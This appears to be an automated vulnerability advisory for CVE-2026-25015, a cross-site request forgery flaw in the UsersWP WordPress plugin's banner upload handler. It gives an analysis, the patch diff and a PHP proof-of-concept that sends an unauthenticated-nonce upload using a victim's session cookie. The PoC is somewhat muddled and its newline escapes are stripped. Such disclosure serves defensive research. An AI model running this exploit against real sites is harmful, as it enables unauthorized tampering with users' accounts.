Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25015: UsersWP <= 1.2.53 – Cross-Site Request Forgery (userswp)

Plugin userswp
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.2.53
Patched Version 1.2.54
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25015:
The UsersWP WordPress plugin version 1.2.53 and earlier contains a Cross-Site Request Forgery vulnerability in its avatar and banner upload functionality. This vulnerability allows unauthenticated attackers to upload profile banners for other users by tricking authenticated users into executing a malicious request. The CVSS 4.3 score reflects the requirement for user interaction and the limited impact scope.

The root cause is missing nonce validation in the ajax_avatar_banner_upload() function located at userswp/includes/class-profile.php. The function processes AJAX upload requests without verifying the request’s authenticity. The vulnerable code begins at line 1509 and lacks any security checks before processing the uwp_popup_type parameter from the POST request. This omission allows CSRF attacks against the AJAX endpoint.

Exploitation requires an attacker to craft a malicious webpage containing a form or JavaScript that submits a POST request to /wp-admin/admin-ajax.php with action=uwp_avatar_banner_upload and uwp_popup_type=banner parameters. The attacker must trick an authenticated user into visiting this page, which would trigger the upload request using the victim’s session. The payload would include file upload data for the banner image, which the plugin would process and associate with the victim’s account.

The patch adds nonce validation to the ajax_avatar_banner_upload() function. The fix inserts a security check at line 1511 that verifies the presence and validity of a security parameter containing a wp_nonce value. The patch also adds nonce generation at line 1776 with wp_create_nonce(‘uwp_avatar_banner_upload_nonce’) and includes this nonce in the AJAX request at line 1819. Before the patch, the function processed uploads without authentication checks. After the patch, requests must include a valid nonce that WordPress generates for each user session.

Successful exploitation allows attackers to modify user profiles by uploading unauthorized banner images. While this does not directly compromise sensitive data or enable code execution, it enables profile defacement and could be combined with other vulnerabilities. Attackers could upload inappropriate content to victim profiles, potentially damaging user reputation or violating platform policies. The attack requires social engineering to trick users into visiting malicious pages.

Differential between vulnerable and patched code

Code Diff
--- a/userswp/admin/views/html-admin-settings-import-export-users.php
+++ b/userswp/admin/views/html-admin-settings-import-export-users.php
@@ -109,7 +109,7 @@
 $uwp_chunk_sizes = apply_filters('uwp_ie_csv_chunks_options', $uwp_chunk_sizes);
 $uwp_chunk_sizes_opts = '';
 foreach ($uwp_chunk_sizes as $value => $title) {
-    $uwp_chunk_sizes_opts .= '<option value="' . $value . '" ' . selected($value, 5000, false) . '>' . $title . '</option>';
+    $uwp_chunk_sizes_opts .= '<option value="' . esc_attr($value) . '" ' . selected($value, 5000, false) . '>' . esc_attr($title) . '</option>';
 }

 $users_count = count_users();
@@ -124,7 +124,7 @@
                 <tbody>
                 <tr>
                     <th class=""><label for="uwp_ie_chunk_size"><?php esc_html_e( 'Max entries per csv file:', 'userswp' );?></label></th>
-                    <td><select name="uwp_ie_chunk_size" class="aui-select2" id="uwp_ie_chunk_size" data-ucount = "<?php echo esc_attr( $total_users );?>" style="min-width:140px"><?php echo esc_attr( $uwp_chunk_sizes_opts );?></select><p class="description"><?php esc_html_e( 'The maximum number of entries per csv file (default to 5000, you might want to lower this to prevent memory issues.)', 'userswp' );?></p></td>
+                    <td><select name="uwp_ie_chunk_size" class="aui-select2" id="uwp_ie_chunk_size" data-ucount = "<?php echo esc_attr( $total_users );?>" style="min-width:140px"><?php echo $uwp_chunk_sizes_opts; ?></select><p class="description"><?php esc_html_e( 'The maximum number of entries per csv file (default to 5000, you might want to lower this to prevent memory issues.)', 'userswp' );?></p></td>
                 </tr>
                 </tbody>
             </table>
--- a/userswp/includes/class-profile.php
+++ b/userswp/includes/class-profile.php
@@ -1509,8 +1509,17 @@
 	 * @return      void
 	 */
 	public function ajax_avatar_banner_upload() {
-		// Image upload handler
-		// todo: security checks
+
+        if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( $_POST['security'], 'uwp_avatar_banner_upload_nonce' ) ) {
+            $result['error'] = aui()->alert( array(
+                'type'    => 'danger',
+                'content' => __( "Security check failed.", "userswp" )
+            ) );
+            $return          = json_encode( $result );
+            echo $return; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+            die();
+        }
+
 		$type   = strip_tags( esc_sql( $_POST['uwp_popup_type'] ) );
 		$result = array();

@@ -1764,6 +1773,8 @@

 		$content_wrap = $design_style == 'bootstrap' ? '.uwp-profile-image-change-modal .modal-content' : '#uwp-popup-modal-wrap';
 		$bg_color = apply_filters('uwp_crop_image_bg_color', '', $type);
+
+        $ajax_nonce = wp_create_nonce( 'uwp_avatar_banner_upload_nonce' );
 		?>

         <script type="text/javascript">
@@ -1805,6 +1816,8 @@
                         // our AJAX identifier
                         fd.append('action', 'uwp_avatar_banner_upload');
                         fd.append('uwp_popup_type', '<?php echo esc_attr( $type ); ?>');
+                        // Add nonce for security
+                        fd.append('security', '<?php echo esc_js( $ajax_nonce ); ?>');

                         $("#progressBar").show().removeClass('d-none');

@@ -1853,7 +1866,8 @@
                                         minSize: [uwp_full_width, uwp_full_height]
                                     });
                                 }
-                            }
+                            },
+
                         });
                     });

--- a/userswp/includes/class-templates.php
+++ b/userswp/includes/class-templates.php
@@ -328,7 +328,8 @@
 						wp_safe_redirect( $profile_url );
 						exit();
 					} else {
-						$redirect_to = apply_filters( 'uwp_no_login_profile_redirect', home_url( '/' ) );
+						$redirect_to = apply_filters( 'uwp_no_login_profile_redirect', uwp_get_page_link('login') );
+                        $redirect_to = add_query_arg('redirect_to', urlencode(get_permalink($profile_page)), $redirect_to);
 						wp_safe_redirect( $redirect_to );
 						exit();
 					}
--- a/userswp/userswp.php
+++ b/userswp/userswp.php
@@ -3,7 +3,7 @@
 Plugin Name: UsersWP
 Plugin URI: https://userswp.io/
 Description: The only lightweight user profile plugin for WordPress. UsersWP features front end user profile, users directory, a registration and a login form.
-Version: 1.2.53
+Version: 1.2.54
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -24,7 +24,7 @@
 }

 if ( ! defined( 'USERSWP_VERSION' ) ) {
-	define( 'USERSWP_VERSION', '1.2.53' );
+	define( 'USERSWP_VERSION', '1.2.54' );
 }

 if ( ! defined( 'USERSWP_PATH' ) ) {
--- a/userswp/vendor/ayecode/ayecode-connect-helper/ayecode-connect-helper.php
+++ b/userswp/vendor/ayecode/ayecode-connect-helper/ayecode-connect-helper.php
@@ -12,7 +12,7 @@
 	class AyeCode_Connect_Helper {

 		// Hold the version number
-		var $version = "1.0.4";
+		var $version = "1.0.5";

 		// Hold the default strings.
 		var $strings = array();
@@ -93,6 +93,13 @@
 		 * Install and activate the AyeCode Connect Plugin
 		 */
 		public function ayecode_connect_install() {
+			// Security check.
+			check_ajax_referer( 'ayecode-connect-helper', 'security' );
+
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( $this->strings['error'] );
+			}
+
 			// bail if localhost
 			if ( $this->is_localhost() ) {
 				wp_send_json_error( $this->strings['error_localhost'] );
--- a/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
@@ -15,7 +15,7 @@
  */
 add_action('after_setup_theme', function () {
 	global $ayecode_ui_version,$ayecode_ui_file_key;
-	$this_version = "0.2.42";
+	$this_version = "0.2.43";
 	if(empty($ayecode_ui_version) || version_compare($this_version , $ayecode_ui_version, '>')){
 		$ayecode_ui_version = $this_version ;
 		$ayecode_ui_file_key = wp_hash( __FILE__ );
--- a/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
@@ -3,7 +3,7 @@
 Plugin Name: AyeCode UI
 Plugin URI: https://ayecode.io/
 Description: This is an example plugin to test AyeCode UI Quickly.
-Version: 0.2.42
+Version: 0.2.43
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -11,7 +11,7 @@
 Text Domain: ayecode-ui
 Domain Path: /languages
 Requires at least: 5.0
-Tested up to: 6.8
+Tested up to: 6.9
 */

 // If this file is called directly, abort.
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
@@ -35,7 +35,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '0.2.42';
+		public $version = '0.2.43';

 		/**
 		 * Class textdomain.
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/components/class-aui-component-input.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/components/class-aui-component-input.php
@@ -988,7 +988,6 @@
 						} elseif ( ( $args['value'] === '0' || $args['value'] === 0 ) && ( $val === '0' || $val === 0 ) ) {
 							$selected = selected( $args['value'], $val, false );
 						}
-
 						$output .= '<option value="' . esc_attr( $val ) . '" ' . $selected . '>' . esc_attr( $name ) . '</option>';
 					}
 				}
--- a/userswp/vendor/ayecode/wp-super-duper/sd-functions.php
+++ b/userswp/vendor/ayecode/wp-super-duper/sd-functions.php
@@ -232,7 +232,7 @@
 			'rounded-bottom' => 'rounded-bottom',
 			'rounded-left'   => 'rounded-left',
 		);
-		$defaults['element_require'] = '([%border%]&&[%border%]!="0")';
+		$defaults['element_require'] = '(([%border%]&&[%border%]!="0")||[%rounded%])';
 	} elseif ( 'rounded_size' === $type ) {
 		$defaults['title'] = __( 'Border radius size', 'ayecode-connect' );

@@ -254,7 +254,7 @@
 				'lg' => __( 'Large', 'ayecode-connect' ),
 			);
 		}
-		$defaults['element_require'] = '([%border%]&&[%border%]!="0")';
+		$defaults['element_require'] = '(([%border%]&&[%border%]!="0")||[%rounded_size%]!="")';
 	} elseif ( 'width' === $type ) { // BS%
 		$defaults['title']           = __( 'Border width', 'ayecode-connect' );
 		$defaults['options']         = array(
--- a/userswp/vendor/ayecode/wp-super-duper/sd-plugin.php
+++ b/userswp/vendor/ayecode/wp-super-duper/sd-plugin.php
@@ -5,13 +5,13 @@
  * @wordpress-plugin
  * Plugin Name: Super Duper - Examples
  * Description: This is a Hello World test plugin for WP Super Duper Class.
- * Version: 1.2.30
+ * Version: 1.2.31
  * Author: AyeCode
  * Author URI: https://ayecode.io
  * Text Domain: super-duper
  * Domain Path: /languages
  * Requires at least: 5.0
- * Tested up to: 6.8
+ * Tested up to: 6.9
  */

 if ( ! defined( 'ABSPATH' ) ) {
--- a/userswp/vendor/ayecode/wp-super-duper/wp-super-duper.php
+++ b/userswp/vendor/ayecode/wp-super-duper/wp-super-duper.php
@@ -5,7 +5,7 @@

 if ( ! class_exists( 'WP_Super_Duper' ) ) {

-	define( 'SUPER_DUPER_VER', '1.2.30' );
+	define( 'SUPER_DUPER_VER', '1.2.31' );

 	/**
 	 * A Class to be able to create a Widget, Shortcode or Block to be able to output content for WordPress.
--- a/userswp/vendor/composer/installed.php
+++ b/userswp/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'uswerwp/userswp',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'ded014d2d3a31b54534b2076e20da34eaa815cdb',
+        'reference' => '9040dd2349a5c3ab232bd76fa629d2a72e6e6988',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,18 @@
     ),
     'versions' => array(
         'ayecode/ayecode-connect-helper' => array(
-            'pretty_version' => '1.0.4',
-            'version' => '1.0.4.0',
-            'reference' => 'd9d9ba849b808a38bb23532e7585c4186bc086cd',
+            'pretty_version' => '1.0.5',
+            'version' => '1.0.5.0',
+            'reference' => 'e778b5e3a3b8e7550ef8e82ed45550b593af683d',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/ayecode-connect-helper',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'ayecode/wp-ayecode-ui' => array(
-            'pretty_version' => '0.2.42',
-            'version' => '0.2.42.0',
-            'reference' => '41cee308506cd448b1b97167c1a3d125805611d2',
+            'pretty_version' => '0.2.43',
+            'version' => '0.2.43.0',
+            'reference' => '75232df33684c7e28b58569431ffd6463a02759a',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-ayecode-ui',
             'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-super-duper' => array(
-            'pretty_version' => '1.2.30',
-            'version' => '1.2.30.0',
-            'reference' => '49f3b1bbc46240ada865c7cc00900860b15e2f2e',
+            'pretty_version' => '1.2.31',
+            'version' => '1.2.31.0',
+            'reference' => '71d4ea3f9eaecd2ff582b23f0dc716d6b65e36db',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-super-duper',
             'aliases' => array(),
@@ -79,7 +79,7 @@
         'uswerwp/userswp' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'ded014d2d3a31b54534b2076e20da34eaa815cdb',
+            'reference' => '9040dd2349a5c3ab232bd76fa629d2a72e6e6988',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25015 - UsersWP <= 1.2.53 - Cross-Site Request Forgery
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$victim_cookie = 'wordpress_logged_in_abc=...'; // Requires authenticated session cookie

// Create a temporary file for upload
$image_data = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==');
$temp_file = tempnam(sys_get_temp_dir(), 'banner_');
file_put_contents($temp_file, $image_data);

// Prepare the multipart form data
$post_data = array(
    'action' => 'uwp_avatar_banner_upload',
    'uwp_popup_type' => 'banner',
    // Note: No security/nonce parameter is included - this is the vulnerability
    'file' => new CURLFile($temp_file, 'image/png', 'malicious_banner.png')
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Cookie: ' . $victim_cookie,
    'Content-Type: multipart/form-data'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Clean up
curl_close($ch);
unlink($temp_file);

// Check result
if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "CSRF attack successful. Banner uploaded to victim's profile.n";
    echo "Response: " . $response . "n";
} else {
    echo "Attack failed. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School